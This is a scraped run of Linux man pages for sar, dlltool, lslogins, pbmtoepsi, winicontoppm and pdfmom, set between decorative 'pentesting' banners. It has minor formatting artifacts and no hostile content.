Amount of memory in kilobytes used by the kernel to cache data structures for its own use.

kbkstack
Amount of memory in kilobytes used for kernel stack space.

kbpgtbl
Amount of memory in kilobytes dedicated to the lowest level of page tables.

kbvmused
Amount of memory in kilobytes of used virtual address space.

-S
Report swap space utilization statistics. The following values are displayed:

kbswpfree
Amount of free swap space in kilobytes.

kbswpused
Amount of used swap space in kilobytes.

%swpused
Percentage of used swap space.

kbswpcad
Amount of cached swap memory in kilobytes. This is memory that once was swapped out, is swapped back in but still also is in the swap area (if memory is needed it doesn’t need to be swapped out again because it is already in the swap area. This saves I/O).

%swpcad
Percentage of cached swap memory in relation to the amount of used swap space.

-s [ hh:mm[:ss] ]
**-s [ ***seconds_since_the_epoch *]

Set the starting time of the data, causing the sar command to extract records time-tagged at, or following, the time specified. The default starting time is 08:00:00. Hours must be given in 24-hour format, or as the number of seconds since the epoch (given as a 10 digit number). This option can be used only when data are read from a file (option -f).

–sadc
Indicate which data collector is called by sar. If the data collector is sought in PATH then enter “which sadc” to know where it is located.

-t
When reading data from a daily data file, indicate that sar should display the timestamps in the original local time of the data file creator. Without this option, the sar command displays the timestamps in the user’s local time.

-u [ ALL ]
Report CPU utilization. The ALL keyword indicates that all the CPU fields should be displayed. The report may show the following fields:

%user
Percentage of CPU utilization that occurred while executing at the user level (application). Note that this field includes time spent running virtual processors.

%usr
Percentage of CPU utilization that occurred while executing at the user level (application). Note that this field does NOT include time spent running virtual processors.

%nice
Percentage of CPU utilization that occurred while executing at the user level with nice priority.

%system
Percentage of CPU utilization that occurred while executing at the system level (kernel). Note that this field includes time spent servicing hardware and software interrupts.

%sys
Percentage of CPU utilization that occurred while executing at the system level (kernel). Note that this field does NOT include time spent servicing hardware or software interrupts.

%iowait
Percentage of time that the CPU or CPUs were idle during which the system had an outstanding disk I/O request.

%steal
Percentage of time spent in involuntary wait by the virtual CPU or CPUs while the hypervisor was servicing another virtual processor.

%irq
Percentage of time spent by the CPU or CPUs to service hardware interrupts.

%soft
Percentage of time spent by the CPU or CPUs to service software interrupts.

%guest
Percentage of time spent by the CPU or CPUs to run a virtual processor.

%gnice
Percentage of time spent by the CPU or CPUs to run a niced guest.

%idle
Percentage of time that the CPU or CPUs were idle and the system did not have an outstanding disk I/O request.

-V
Print version number then exit.

-v
Report status of inode, file and other kernel tables. The following values are displayed:

dentunusd
Number of unused cache entries in the directory cache.

file-nr
Number of file handles used by the system.

inode-nr
Number of inode handlers used by the system.

pty-nr
Number of pseudo-terminals used by the system.

-W
Report swapping statistics. The following values are displayed:

pswpin/s
Total number of swap pages the system brought in per second.

pswpout/s
Total number of swap pages the system brought out per second.

-w
Report task creation and system switching activity. The following values are displayed:

proc/s
Total number of tasks created per second.

cswch/s
Total number of context switches per second.

-x
Extended reports: Display minimum and maximum values in addition to average ones at the end of the report.

-y
Report TTY devices activity. The following values are displayed:

rcvin/s
Number of receive interrupts per second for current serial line. Serial line number is given in the TTY column.

xmtin/s
Number of transmit interrupts per second for current serial line.

framerr/s
Number of frame errors per second for current serial line.

prtyerr/s
Number of parity errors per second for current serial line.

brk/s
Number of breaks per second for current serial line.

ovrun/s
Number of overrun errors per second for current serial line.

-z
Tell sar to omit output for any devices for which there was no activity during the sample period.

ENVIRONMENT

The sar command takes into account the following environment variables:

S_COLORS
By default statistics are displayed in color when the output is connected to a terminal. Use this variable to change the settings. Possible values for this variable are never, *always *or auto (the latter is equivalent to the default settings).
Please note that the color (being red, yellow, or some other color) used to display a value is not indicative of any kind of issue simply because of the color. It only indicates different ranges of values.

S_COLORS_SGR
Specify the colors and other attributes used to display statistics on the terminal. Its value is a colon-separated list of capabilities that defaults to C=33;22:I=32;22:N=34;1:R=31;22:W=35;1:X=31;1:Z=34;22. Supported capabilities are:

C=
SGR (Select Graphic Rendition) substring for comments inserted in the binary daily data files.

I=
SGR substring for item names or values (eg. network interfaces, CPU number…)

N=
SGR substring for non-zero statistics values.

R=
SGR substring for restart messages.

W= (or M=)
SGR substring for percentage values in the range from 75% to 90% (or in the range 10% to 25% depending on the metric’s meaning). It is also used for negative values in the range from -10 to -5.

X= (or H=)
SGR substring for percentage values greater than or equal to 90% (or lower than or equal to 10% depending on the metric’s meaning). It is also used for negative values lower than or equal to -10.

Z=
SGR substring for zero values.

S_REPEAT_HEADER
This variable contains the maximum number of lines after which a header has to be displayed by sar when the output is not a terminal.

S_TIME_DEF_TIME
If this variable exists and its value is **UTC **then sar will save its data in UTC time (data will still be displayed in local time). sar will also use UTC time instead of local time to determine the current daily data file located in the /var/log/sysstat directory. This variable may be useful for servers with users located across several timezones.

S_TIME_FORMAT
If this variable exists and its value is ISO then the current locale will be ignored when printing the date in the report header. The sar command will use the ISO 8601 format (YYYY-MM-DD) instead. The timestamp will also be compliant with ISO 8601 format.

EXAMPLES

sar -u 2 5
Report CPU utilization for each 2 seconds. 5 lines are displayed.

sar -I –int=14 -o int14.file 2 10
Report statistics on IRQ 14 for each 2 seconds. 10 lines are displayed. Data are stored in a file called int14.file.

sar -r -n DEV -f /var/log/sysstat/sa16
Display memory and network statistics saved in daily data file sa16.

sar -A
Display all the statistics saved in current daily data file.

BUGS

/proc “filesystemmustbemountedforthe **sar **command to work.

All the statistics are not necessarily available, depending on the kernel version used. sar assumes that you are using at least a 2.6 kernel.

Although sar speaks of kilobytes (kB), megabytes (MB)…, it actually uses kibibytes (kiB), mebibytes (MiB)… A kibibyte is equal to 1024 bytes, and a mebibyte is equal to 1024 kibibytes.

FILES

/var/log/sysstat/saDD
/var/log/sysstat/saYYYYMMDD

The standard system activity daily data files and their default location. *YYYY *stands for the current year, *MM *for the current month and DD for the current day.

*/proc *and */sys *contain various files with system statistics.

AUTHOR

Sebastien Godard (sysstat <at> orange.fr)

SEE ALSO

sadc(8), sa1(8), sa2(8), sadf(1), sysstat(5), pidstat(1), mpstat(1), iostat(1), vmstat(8)

https://github.com/sysstat/sysstat
https://sysstat.github.io/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

565 - Linux cli command x86_64-w64-mingw32-dlltool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-dlltool and provides detailed information about the command x86_64-w64-mingw32-dlltool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-dlltool.

NAME 🖥️ x86_64-w64-mingw32-dlltool 🖥️

create files needed to build and use DLLs

SYNOPSIS

dlltool [-d|–input-def def-file-name] [-b|–base-file base-file-name] [-e|–output-exp exports-file-name] [-z|–output-def def-file-name] [-l|–output-lib library-file-name] [-y|–output-delaylib library-file-name] [–export-all-symbols] [–no-export-all-symbols] [–exclude-symbols list] [–no-default-excludes] [-S|–as path-to-assembler] [-f|–as-flags options] [-D|–dllname name] [-m|–machine machine] [-a|–add-indirect] [-U|–add-underscore] [–add-stdcall-underscore] [-k|–kill-at] [-A|–add-stdcall-alias] [-p|–ext-prefix-alias prefix] [-x|–no-idata4] [-c|–no-idata5] [–use-nul-prefixed-import-tables] [-I|–identify library-file-name] [–identify-strict] [-i|–interwork] [-n|–nodelete] [-t|–temp-prefix prefix] [-v|–verbose] [-h|–help] [-V|–version] [–no-leading-underscore] [–leading-underscore] [–deterministic-libraries] [–non-deterministic-libraries] [object-file …]

DESCRIPTION

dlltool reads its inputs, which can come from the -d and -b options as well as object files specified on the command line. It then processes these inputs and if the -e option has been specified it creates a exports file. If the -l option has been specified it creates a library file and if the -z option has been specified it creates a def file. Any or all of the -e, -l and -z options can be present in one invocation of dlltool.

When creating a DLL, along with the source for the DLL, it is necessary to have three other files. dlltool can help with the creation of these files.

The first file is a .def file which specifies which functions are exported from the DLL, which functions the DLL imports, and so on. This is a text file and can be created by hand, or dlltool can be used to create it using the -z option. In this case dlltool will scan the object files specified on its command line looking for those functions which have been specially marked as being exported and put entries for them in the .def file it creates.

In order to mark a function as being exported from a DLL, it needs to have an -export:<name_of_function> entry in the .drectve section of the object file. This can be done in C by using the asm() operator:

asm (".section .drectve"); asm (".ascii -export:my_func"); int my_func (void) { … }

The second file needed for DLL creation is an exports file. This file is linked with the object files that make up the body of the DLL and it handles the interface between the DLL and the outside world. This is a binary file and it can be created by giving the -e option to dlltool when it is creating or reading in a .def file.

The third file needed for DLL creation is the library file that programs will link with in order to access the functions in the DLL (an `import library’). This file can be created by giving the -l option to dlltool when it is creating or reading in a .def file.

If the -y option is specified, dlltool generates a delay-import library that can be used instead of the normal import library to allow a program to link to the dll only as soon as an imported function is called for the first time. The resulting executable will need to be linked to the static delayimp library containing _ _delayLoadHelper2(), which in turn will import LoadLibraryA and GetProcAddress from kernel32.

dlltool builds the library file by hand, but it builds the exports file by creating temporary files containing assembler statements and then assembling these. The -S command-line option can be used to specify the path to the assembler that dlltool will use, and the -f option can be used to pass specific flags to that assembler. The -n can be used to prevent dlltool from deleting these temporary assembler files when it is done, and if -n is specified twice then this will prevent dlltool from deleting the temporary object files it used to build the library.

Here is an example of creating a DLL from a source file dll.c and also creating a program (from an object file called program.o) that uses that DLL:

gcc -c dll.c dlltool -e exports.o -l dll.lib dll.o gcc dll.o exports.o -o dll.dll gcc program.o dll.lib -o program

dlltool may also be used to query an existing import library to determine the name of the DLL to which it is associated. See the description of the -I or –identify option.

OPTIONS

The command-line options have the following meanings:

-d filename

–input-def filename

Specifies the name of a .def file to be read in and processed.

-b filename

–base-file filename

Specifies the name of a base file to be read in and processed. The contents of this file will be added to the relocation section in the exports file generated by dlltool.

-e filename

–output-exp filename

Specifies the name of the export file to be created by dlltool.

-z filename

–output-def filename

Specifies the name of the .def file to be created by dlltool.

-l filename

–output-lib filename

Specifies the name of the library file to be created by dlltool.

-y filename

–output-delaylib filename

Specifies the name of the delay-import library file to be created by dlltool.

–deterministic-libraries

–non-deterministic-libraries

When creating output libraries in response to either the –output-lib or –output-delaylib options either use the value of zero for any timestamps, user ids and group ids created (–deterministic-libraries) or the actual timestamps, user ids and group ids (–non-deterministic-libraries).

–export-all-symbols
Treat all global and weak defined symbols found in the input object files as symbols to be exported. There is a small list of symbols which are not exported by default; see the –no-default-excludes option. You may add to the list of symbols to not export by using the –exclude-symbols option.

–no-export-all-symbols
Only export symbols explicitly listed in an input .def file or in .drectve sections in the input object files. This is the default behaviour. The .drectve sections are created by dllexport attributes in the source code.

–exclude-symbols list
Do not export the symbols in list. This is a list of symbol names separated by comma or colon characters. The symbol names should not contain a leading underscore. This is only meaningful when –export-all-symbols is used.

–no-default-excludes
When –export-all-symbols is used, it will by default avoid exporting certain special symbols. The current list of symbols to avoid exporting is DllMain@12, DllEntryPoint@0, impure_ptr. You may use the –no-default-excludes option to go ahead and export these special symbols. This is only meaningful when –export-all-symbols is used.

-S path

–as path

Specifies the path, including the filename, of the assembler to be used to create the exports file.

-f options

–as-flags options

Specifies any specific command-line options to be passed to the assembler when building the exports file. This option will work even if the -S option is not used. This option only takes one argument, and if it occurs more than once on the command line, then later occurrences will override earlier occurrences. So if it is necessary to pass multiple options to the assembler they should be enclosed in double quotes.

-D name

–dll-name name

Specifies the name to be stored in the .def file as the name of the DLL when the -e option is used. If this option is not present, then the filename given to the -e option will be used as the name of the DLL.

-m machine

-machine machine

Specifies the type of machine for which the library file should be built. dlltool has a built in default type, depending upon how it was created, but this option can be used to override that. This is normally only useful when creating DLLs for an ARM processor, when the contents of the DLL are actually encode using Thumb instructions.

-a

–add-indirect

Specifies that when dlltool is creating the exports file it should add a section which allows the exported functions to be referenced without using the import library. Whatever the hell that means!

-U

–add-underscore

Specifies that when dlltool is creating the exports file it should prepend an underscore to the names of all exported symbols.

–no-leading-underscore

–leading-underscore

Specifies whether standard symbol should be forced to be prefixed, or not.

–add-stdcall-underscore
Specifies that when dlltool is creating the exports file it should prepend an underscore to the names of exported stdcall functions. Variable names and non-stdcall function names are not modified. This option is useful when creating GNU-compatible import libs for third party DLLs that were built with MS-Windows tools.

-k

–kill-at

Specifies that @<number> suffixes should be omitted from the names of stdcall functions that will be imported from the DLL. This is useful when creating an import library for a DLL which exports stdcall functions but without the usual @<number> symbol name suffix. This does not change the naming of symbols provided by the import library to programs linked against it, but only the entries in the import table (ie the .idata section).

-A

–add-stdcall-alias

Specifies that when dlltool is creating the exports file it should add aliases for stdcall symbols without @ <number> in addition to the symbols with @ <number>.

-p

–ext-prefix-alias prefix

Causes dlltool to create external aliases for all DLL imports with the specified prefix. The aliases are created for both external and import symbols with no leading underscore.

-x

–no-idata4

Specifies that when dlltool is creating the exports and library files it should omit the .idata4 section. This is for compatibility with certain operating systems.

–use-nul-prefixed-import-tables
Specifies that when dlltool is creating the exports and library files it should prefix the .idata4 and .idata5 by zero an element. This emulates old gnu import library generation of dlltool. By default this option is turned off.

-c

–no-idata5

Specifies that when dlltool is creating the exports and library files it should omit the .idata5 section. This is for compatibility with certain operating systems.

-I filename

–identify filename

Specifies that dlltool should inspect the import library indicated by filename and report, on stdout, the name(s) of the associated DLL(s). This can be performed in addition to any other operations indicated by the other options and arguments. dlltool fails if the import library does not exist or is not actually an import library. See also –identify-strict.

–identify-strict
Modifies the behavior of the –identify option, such that an error is reported if filename is associated with more than one DLL.

-i

–interwork

Specifies that dlltool should mark the objects in the library file and exports file that it produces as supporting interworking between ARM and Thumb code.

-n

–nodelete

Makes dlltool preserve the temporary assembler files it used to create the exports file. If this option is repeated then dlltool will also preserve the temporary object files it uses to create the library file.

-t prefix

–temp-prefix prefix

Makes dlltool use prefix when constructing the names of temporary assembler and object files. By default, the temp file prefix is generated from the pid.

-v

–verbose

Make dlltool describe what it is doing.

-h

–help

Displays a list of command-line options and then exits.

-V

–version

Displays dlltool’s version number and then exits.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

The Info pages for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

566 - Linux cli command lslogins

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lslogins and provides detailed information about the command lslogins, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lslogins.

NAME 🖥️ lslogins 🖥️

display information about known users in the system

SYNOPSIS

lslogins [options] [-s|-u[=UID]] [-g groups] [-l logins] [username]

DESCRIPTION

Examine the wtmp and btmp logs, /etc/shadow (if necessary) and /passwd and output the desired data.

The optional argument username forces lslogins to print all available details about the specified user only. In this case the output format is different than in case of -l or -g and unknown is username reported as an error.

The default action is to list info about all the users in the system.

OPTIONS

Mandatory arguments to long options are mandatory for short options too.

-a, –acc-expiration

Display data about the date of last password change and the account expiration date (see shadow(5) for more info). (Requires root privileges.)

–btmp-file path

Alternate path for btmp.

-c, –colon-separate

Separate info about each user with a colon instead of a newline.

-e, –export

Output data in the format of NAME=VALUE. See also option –shell.

-f, –failed

Display data about the users last failed login attempts.

-G, –supp-groups

Show information about supplementary groups.

-g, –groups=groups

Only show data of users belonging to groups. More than one group may be specified; the list has to be comma-separated. Unknown group names are ignored.

Note that the relation between user and group may be invisible for the primary group if the user is not explicitly specified as group member (e.g., in /etc/group). If the command lslogins scans for groups then it uses the groups database only, and the user database with primary GID is not used at all.

-L, –last

Display data containing information about the users last login sessions.

-l, –logins=logins

Only show data of users with a login specified in logins (user names or user IDs). More than one login may be specified; the list has to be comma-separated. Unknown login names are ignored.

-n, –newline

Display each piece of information on a separate line.

–noheadings

Do not print a header line.

–notruncate

Don’t truncate output.

-o, –output list

Specify which output columns to print. The default list of columns may be extended if list is specified in the format +list.

–output-all

Output all available columns. –help to get a list of all supported columns.

-p, –pwd

Display information related to login by password (see also -afL).

-r, –raw

Raw output (no columnation).

-s, –system-accs

Show system accounts. These are by default all accounts with a UID between 101 and 999 (inclusive), with the exception of either nobody or nfsnobody (UID 65534). This hardcoded default may be overwritten by parameters SYS_UID_MIN and SYS_UID_MAX in the file /etc/login.defs.

–time-format type

Display dates in short, full or iso format. The default is short, this time format is designed to be space efficient and human readable.

-u, –user-accs

Show user accounts. These are by default all accounts with UID above 1000 (inclusive), with the exception of either nobody or nfsnobody (UID 65534). This hardcoded default maybe overwritten by parameters UID_MIN and UID_MAX in the file /etc/login.defs.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

–wtmp-file path

Alternate path for wtmp.

–lastlog path

Alternate path for lastlog(8).

-y, –shell

The column name will be modified to contain only characters allowed for shell variable identifiers. This is usable, for example, with –export. Note that this feature has been automatically enabled for –export in version 2.37, but due to compatibility issues, now it’s necessary to request this behavior by –shell.

-Z, –context

Display the users security context.

-z, –print0

Delimit user entries with a nul character, instead of a newline.

EXIT STATUS

0

if OK,

1

if incorrect arguments specified,

2

if a serious error occurs (e.g., a corrupt log).

NOTES

The default UID thresholds are read from /etc/login.defs.

Password status

Multiple fields describe password status.

“Password is locked”

The password is prefixed by !!, and the user cannot login although the password is set or empty. This is common for new accounts without a set password.

“Password not required (empty)”

The password is not set (hash is missing); this is common for locked system accounts. Not requiring a password does not mean the user can log-in without a password. It depends on the password “lock” status.

“Login by password disabled”

yes means that there is no valid password. The password hash is missing, or the hash method is unknown or contains invalid chars.

HISTORY

The lslogins utility is inspired by the logins utility, which first appeared in FreeBSD 4.10.

AUTHORS

SEE ALSO

group(5), passwd(5), shadow(5), utmp(5)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The lslogins command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

567 - Linux cli command pbmtoepsi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoepsi and provides detailed information about the command pbmtoepsi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoepsi.

.

NAME 🖥️ pbmtoepsi 🖥️

convert a PBM image to an encapsulated PostScript style preview bitmap

SYNOPSIS

pbmtoepsi [-dpi=N[xN]] [-bbonly**] [pbmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

Reads a PBM image as input. Produces an encapsulated Postscript style bitmap as output. The output is not a stand alone postscript file, it is only a preview bitmap, which can be included in an encapsulated PostScript file.

pbmtoepsi assumes the PBM input describes a whole output page, with one pixel on the page corresponding to one PBM pixel. It detects white borders in the image and generates Postscript output that contains a Bounding Box statement to describe the location of the principal image (the image excluding the white borders) on the page and thus does not include the borders in the raster part of the Postscript output.

There is no epsitopbm tool - this transformation is one way.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoepsi recognizes the following command line options:

**-dpi=N[xN]
This option specifies the resolution in dots per inch of the ultimate output device. You must specify this because the Bounding Box statement defines the bounding box in absolute distances, not in pixels. pbmtoepsi assumes in calculating the bounding box that each PBM pixel will become one dot on the output device, and applies your dpi specification to calculate the size and location on the page of the bounding box.

If you specify NxN, the first number is the horizontal resolution and the second number is the vertical resolution. If you specify just a single number N, that is the resolution in both directions.

The default is 72 dots per inch in both directions.

This option was new In Netpbm 10.3 (June 2002). Before that, pbmtoepsi always assumed 72 dots per inch in both directions.

-bbonly
Only create a boundary box, don’t fill it with the image.

SEE ALSO

pbm(1) , pnmtops(1) , pstopnm(1) , psidtopgm(1) , pbmtolps(1) ,

Postscript language documentation

AUTHOR

Copyright (C) 1988 Jef Poskanzer, modified by Doug Crabill 1992

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoepsi.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

568 - Linux cli command winicontoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winicontoppm and provides detailed information about the command winicontoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winicontoppm.

.

NAME 🖥️ winicontoppm 🖥️

convert a Windows .ico image into 1 or more PPM images

SYNOPSIS

winicontoppm [-writeands] [-allicons|-bestqual] [-multippm] [-verbose] [iconfile] [ppmdestfile]

DESCRIPTION

This program is part of Netpbm(1) .

This program is essentially obsolete; The newer winicontopam is better.

winicontoppm reads a Microsoft Windows .ico file and converts it to one or more PPMs.

A Windows icon contains one or more images, at different resolutions and color depths. Each image has an ‘and’ mask, which contains transparency data.

By default, the output goes to Standard Output. If you specify ppmdestfile, output goes into one or more files named as follows. If it’s just one file (i.e. you specify the -multippm option or don’t specify -allicons), the file name is ppmdestfile**.ppm**. If it’s multiple files, their file names are ppmdestfile**_1.ppm**, ppmdestfile**_2.ppm**, etc.

When you specify the -writeands option, the file names above are modified to include the string xor as in ppmdestfile**_xor.ppm** or ppmdestfile**_xor_1.ppm**.

winicontoppm can convert .ico images with 1, 4, 8, 24, or 32 bits per pixel. Before Netpbm 10.15 (April 2003), it could not handle 24 and 32.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), winicontoppm recognizes the following command line options:

-writeands
For each icon written, also write the ‘and’ (transparency) mask as a separate PBM file. It’s name is of the form ppmdestfile**_and.pbm** or ppmdestfile**_and_1.pbm**.

-allicons
Extract all images from the .ico file.

If you specify neither this nor -bestqual, winicontoppm extracts the first image.

-bestqual
Extract only the best quality (largest, then highest bpp) image from the .ico file.

If you specify neither this nor -allicons, winicontoppm extracts the first image.

-multippm
Write all PPMs to a single file.

SEE ALSO

winicontopam(1) , pamtowinicon(1) , bmptopnm(1) , ppm(1)

AUTHOR

Copyright (C) 2000, 2003 by Lee Benfield.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/winicontoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

569 - Linux cli command pdfmom

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdfmom and provides detailed information about the command pdfmom, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdfmom.

Name

pdfmom - produce PDF documents using the mom macro package for groff

Synopsis

pdfmom [-Tpdf] [groff-options] [*file *. . .] pdfmom -Tps [pdfroff-options] [groff-options] [*file *. . .] pdfmom -v pdfmom –version

Description

pdfmom is a wrapper around

that facilitates the production of PDF documents from files formatted with the mom macros.

pdfmom prints to the standard output, so output must usually be redirected to a destination file. The size of the final PDF can be reduced by piping the output through

If called with the -Tpdf option (which is the default), pdfmom processes files using groff’s native PDF driver,

If -Tps is given, processing is passed over to pdfroff, which uses groff’s PostScript driver. In either case, multiple runs of the source file are performed in order to satisfy any forward references in the document.

pdfmom accepts all the same options as groff. If -Tps is given, the options associated with pdfroff are accepted as well. When pdfmom calls pdfroff, the options “-mpdfmark -mom –no-toc” options are implied and should not be given on the command line. Equally, it is not necessary to supply the -mom or -m mom options when -Tps is absent.

PDF integration with the mom macros is discussed in full in the manual “Producing PDFs with groff and mom”, which was itself produced with pdfmom.

If called with the -v or –version options, pdfmom displays its version information and exits.

Authors

pdfmom was written by Deri James and Peter Schaffter, and is maintained by James.

See also

/usr/share/doc/groff-base/pdf/mom-pdf.pdf
“Producing PDFs with groff and mom”, by Deri James and Peter Schaffter. This file, together with its source, mom-pdf.mom, is part of the groff distribution.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
